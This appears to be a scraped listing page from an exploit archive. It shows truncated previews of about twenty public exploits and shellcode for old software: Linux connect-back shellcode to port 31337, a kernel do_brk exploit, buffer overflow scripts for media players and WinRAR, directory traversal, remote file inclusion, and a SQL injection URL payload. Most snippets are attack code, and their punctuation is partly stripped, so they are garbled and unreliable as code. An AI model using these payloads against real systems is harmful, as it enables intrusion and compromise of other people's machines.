Linux/x86 - socket-proxy

No description provided by source. /--------------------------------------------------------------------------- 372 byte socket-proxy shellcode by Russell Sanford - [email protected] --------------------------------------------------------------------------- filename: x86-linux-bounce-proxy.c date:...

Linux/x86 - connect-back 127.0.0.1:31337/tcp - 74 bytes

No description provided by source. / linux/x86 connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes - izik [email protected] / char shellcode = "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x99" // cltd "\x6a\x01" // push $0x1 "\x5b" // pop %ebx "\x52" // push %edx "\x53" // push %ebx "\x6a\x02" /...

GForge多个SQL注入漏洞

BUGTRAQ ID: 31674 CVECAN ID: CVE-2008-6187,CVE-2008-6188,CVE-2008-6189 GForge是用于管理软件开发周期的工具。 GForge的new/index.php、news/index.php和top/topusers.php文件没有正确地过滤offset输入参数： function dbquery$qstring,$limit='-1',$offset=0 global $QUERYCOUNT; $QUERYCOUNT++; if $limit 0 if !$offset || $offset 0 $offset=0;...

MS Internet Explorer 7 Memory Corruption PoC (MS09-0 0 2)-vulnerability warning-the black bar safety net

MS Internet Explorer 7 Memory Corruption PoC MS09-0 0 2 !-- MS09-0 0 2 =============================== grabbed from: wget http://www.chengjitj.com/bbs/images/alipay/mm/jc/jc.html --user-agent="MSIE 7.0; Windows NT 5.1" took a little but found it. /str0ke -- script language="JavaScript" var...

S-Cms 1.1 Stable Insecure Cookie Handling / Mass Page Delete Vulns

No description provided by source. 0x01 Informations: Name : S-Cms 1.1 Stable Download : http://www.hotscripts.com/listings/jump/download/87992/ Vulnerability : Insecure Cookie Handling / Mass Page Delete Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged fil...

YACS CMS 8.11 - 'update_trailer.php' Remote File Inclusion

-----------------remote file include----------------- script: YACS version 8.11 ------------------------------------------------------------------ download from: http://www.yetanothercommunitysystem.com/file-fetch/814-20081130-yacs-8.11rc30.zip ============================================== vul:...

TPTEST 3.1.7 - Stack Buffer Overflow (PoC)

TPTEST 3.1.7 - Stack Buffer Overflow PoC !/usr/local/bin/perl TPTEST newProto="tcp",PeerAddr=$host,PeerPort=$port; if!$remdie "1\n";$rem-autoflush1; $cookie=$major=$minor="123"; $r=;print "$r";sleep 5; to attach in gdb.. if$r=/cookie=0-9/$cookie=$1; if$r=/vmajor=0-9/$major=$1;...

Linux kernel do_brk vma overflow exploit

No description provided by source. / hatorihanzo.c Linux kernel dobrk vma overflow exploit. The bug was found by Paul IhaQueR Starzetz [email protected] Further research and exploit development by Wojciech Purczynski [email protected] and Paul Starzetz. c 2003 Copyright by IhaQueR and cliph. All Rights...

WinRAR 3.x LHA Buffer Overflow Exploit

No description provided by source. include include include //----------------------------------------- // 参数定义 //----------------------------------------- define BUFFSIZE 102400 define RETOFFSET 0x14 define FILELEN 0xE6 define DIRLEN 0x3FF-3 define LHLEN 22 define LELEN 6 define LEELEN 2 define...

Nokia Phoenix Service Software 2008.04.007.32837 overflow POC

------------------------------------------------------------------------------------------------------------ BOF discovered and written by MurderSkillz ------------------------------------------------------------------------------------------------------------ Description: Company Name and Websit...

q-news 2.0 Remote Command Execution Exploit

No description provided by source. Author = FireShot , Jacopo Vuga. Mail = fireshotatautisticidotorg Vulnerability = Remote Command Execution Software = q-news 2.0 Download = http://ovh.dl.sourceforge.net/sourceforge/php-box/2.0nologin.zip Greets to = Osirys for his friendship and his tips, Myral...

Euphonics Audio Player 1.0 (.pls) Local Buffer Overflow Exploit (xp/sp3)

Exploit for unknown platform in category local exploits ======================================================================== Euphonics Audio Player 1.0 .pls Local Buffer Overflow Exploit xp/sp3 ======================================================================== include include include...

Small HTTP Server <= 3.05.85 Directory Traversal Exploit

No description provided by source. !/usr/bin/perl Author : Houssamix Small HTTP Server = 3.05.85 Directory Traversal Exploit Description : Any user FTP with low permission can have access to any directory in server Downlod : http://smallsrv.com/ 01.01.09 Happy new year! Version 3.05.84 Greetz to...

Free Download Manager 3.0 Build 844 - '.torrent' Local Buffer Overflow

!/usr/bin/perl Free Download Manager = 3.0 Build 844 .torrent BOF Exploit ----------------------------------------------------------- Exploit by SkD [email protected] Vendors URL = www.freedownloadmanager.org Download FDM 3.0 Build 844 =...

Spider Player 2.3.9.5 (asx File) off by one Crash Exploit

No description provided by source. exploit.py Spider Player 2.3.9.5 Crash Exploit others files can be used for crash m3u , pls .... print " Spider Player 2.3.9.5 off by one Crash Exploit asx file \n" header1 = "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"...

phpslash <= 0.8.1.1 Remote Code Execution Exploit

Exploit for unknown platform in category web applications ================================================= phpslash agent 'Mozilla Firefox' ; // Hey ya : head; // Target $url = getp 'url', true ; // Proxy options $prh = getp 'proxhost' ; $pra = getp 'proxauth' ; // Use a proxy ? if $prh // host:...

Revou Twitter Clone - Cross-Site Scripting / SQL Injection

ReVou Micro Blogging SQL/XSS Injection Vulnerability Author: nuclear site: http://www.revou.com/index.php SQL vuln: http://localhost/path/userupdates.php?user=test21' UNION SELECT 1,2,3,4,@@version,6,7,8/ demo:...

GOM Player 2.0.12 (.PLS) Universal Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ========================================================== GOM Player 2.0.12 .PLS Universal Buffer Overflow Exploit ========================================================== /------------------------------------------------ GOM Player 2.0.1...

ReVou Twitter Clone (XSS/SQL) Multiple Remote Vulnerabilities

No description provided by source. ReVou Micro Blogging SQL/XSS Injection Vulnerability Author: nuclear site: http://www.revou.com/index.php SQL vuln: http://localhost/path/userupdates.php?user=test21' UNION SELECT 1,2,3,4,@@version,6,7,8/ demo:...

ManageEngine Firewall Analyzer 5 - Cross-Site Request Forgery Cross-Site Scripting

ManageEngine Firewall Analyzer 5 - Cross-Site Request Forgery Cross-Site Scripting Written By Michael Brooks Special thanks to str0ke! Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS Vulerable version: Build Version : 5.0.0 Build Number : 5000 Build Date : Apr25 homepage:...